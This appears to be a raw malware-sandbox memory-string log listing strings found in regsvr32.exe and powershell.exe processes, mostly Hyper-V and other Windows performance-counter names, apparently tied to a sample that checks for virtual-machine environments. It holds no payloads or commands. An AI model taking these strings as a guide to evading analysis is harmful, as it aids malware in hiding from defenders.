Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917306069.00000000027DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2020697105.00000000047C3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1947196504.00000000047A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service?
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processorsi
Source: regsvr32.exe, 00000007.00000003.1736636212.00000000028B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cache9588WININET: Bytes from server9590WINHTTP: Bytes from cache9592WINHTTP: Bytes from server9594OTHER: Bytes from cache9596OTHER: Bytes from server9598Discovery: Attempted discoveries9600Local Cache: Cache complete file segments9602Local Cache: Cache partial file segments9604Hosted Cache: Client file segment offers made9606Retrieval: Average branch rate9608Discovery: Successful discoveries9610Hosted Cache: Segment offers queue size9612Publication Cache: Published contents9614Local Cache: Average access time3432WSMan Quota Statistics3434Total Requests/Second3436User Quota Violations/Second3438System Quota Violations/Second3440Active Shells3442Active Operations3444Active Users3446Process ID1914Hyper-V VM Vid Partition1916Physical Pages Allocated1918Preferred NUMA Node Index1920Remote Physical Pages1922ClientHandles1924CompressPackTimeInUs1926CompressUnpackTimeInUs1928CompressPackInputSizeInBytes1930CompressUnpackInputSizeInBytes1932CompressPackOutputSizeInBytes1934CompressUnpackOutputSizeInBytes1936CompressUnpackUncompressedInputSizeInBytes1938CompressPackDiscardedSizeInBytes1940CompressWorkspaceSizeInBytes1942CompressScratchPoolSizeInBytes1944CryptPackTimeInUs1946CryptUnpackTimeInUs1948CryptPackInputSizeInBytes1950CryptUnpackInputSizeInBytes1952CryptPackOutputSizeInBytes1954CryptUnpackOutputSizeInBytes1956CryptScratchPoolSizeInBytes}
Source: regsvr32.exe, 00000007.00000003.1758024046.00000000041C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O T
Source: regsvr32.exe, 0000000E.00000003.1916940382.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1917236724.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache F
Source: regsvr32.exe, 0000000E.00000003.1943562354.00000000046B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Contex
Source: regsvr32.exe, 00000007.00000003.1739496251.0000000004177000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1740743242.0000000004171000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisors
Source: powershell.exe, 00000008.00000002.1808266215.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vet-RunspaceDebug", "Wait-MSFT_NetEventVmNetworkAdatper.format.ps1xmlsh",
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partition\E
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root PartitionE
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor)
Source: regsvr32.exe, 0000000E.00000003.1916768218.0000000002D29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB F
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service(
Source: regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition:
Source: regsvr32.exe, 0000000E.00000003.1910675629.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1914843123.0000000002D35000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1913859553.0000000002D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Statu
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service4
Source: regsvr32.exe, 0000000E.00000003.1943440411.000000000471A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V mqabcqtdeleiepv Bus PipesU
Source: powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000007.00000002.2917797838.0000000004238000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual ProcessorF
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor\v
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition
Source: powershell.exe, 00000008.00000002.1808266215.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FeSource", "Set-TraceSourcMSFT_NetEventVmNetworkAdatper.cdxmle",
Source: regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2025223425.0000000002C8B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: regsvr32.exe, 00000007.00000003.1741996276.0000000004182000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1740304586.0000000004182000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917306069.00000000027DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2020697105.00000000047C3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1947196504.00000000047A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917306069.00000000027DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2020697105.00000000047C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipess
Source: regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processorh]
Source: regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2025223425.0000000002C8B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processori
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processorl
Source: powershell.exe, 00000011.00000002.2009636665.0000000007862000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FMSFT_NetEventVmNetworkAdatper.cdxml
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processorll
Source: regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V mqabcqtdeleiepv Bus Pipes'f
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus PipesPM
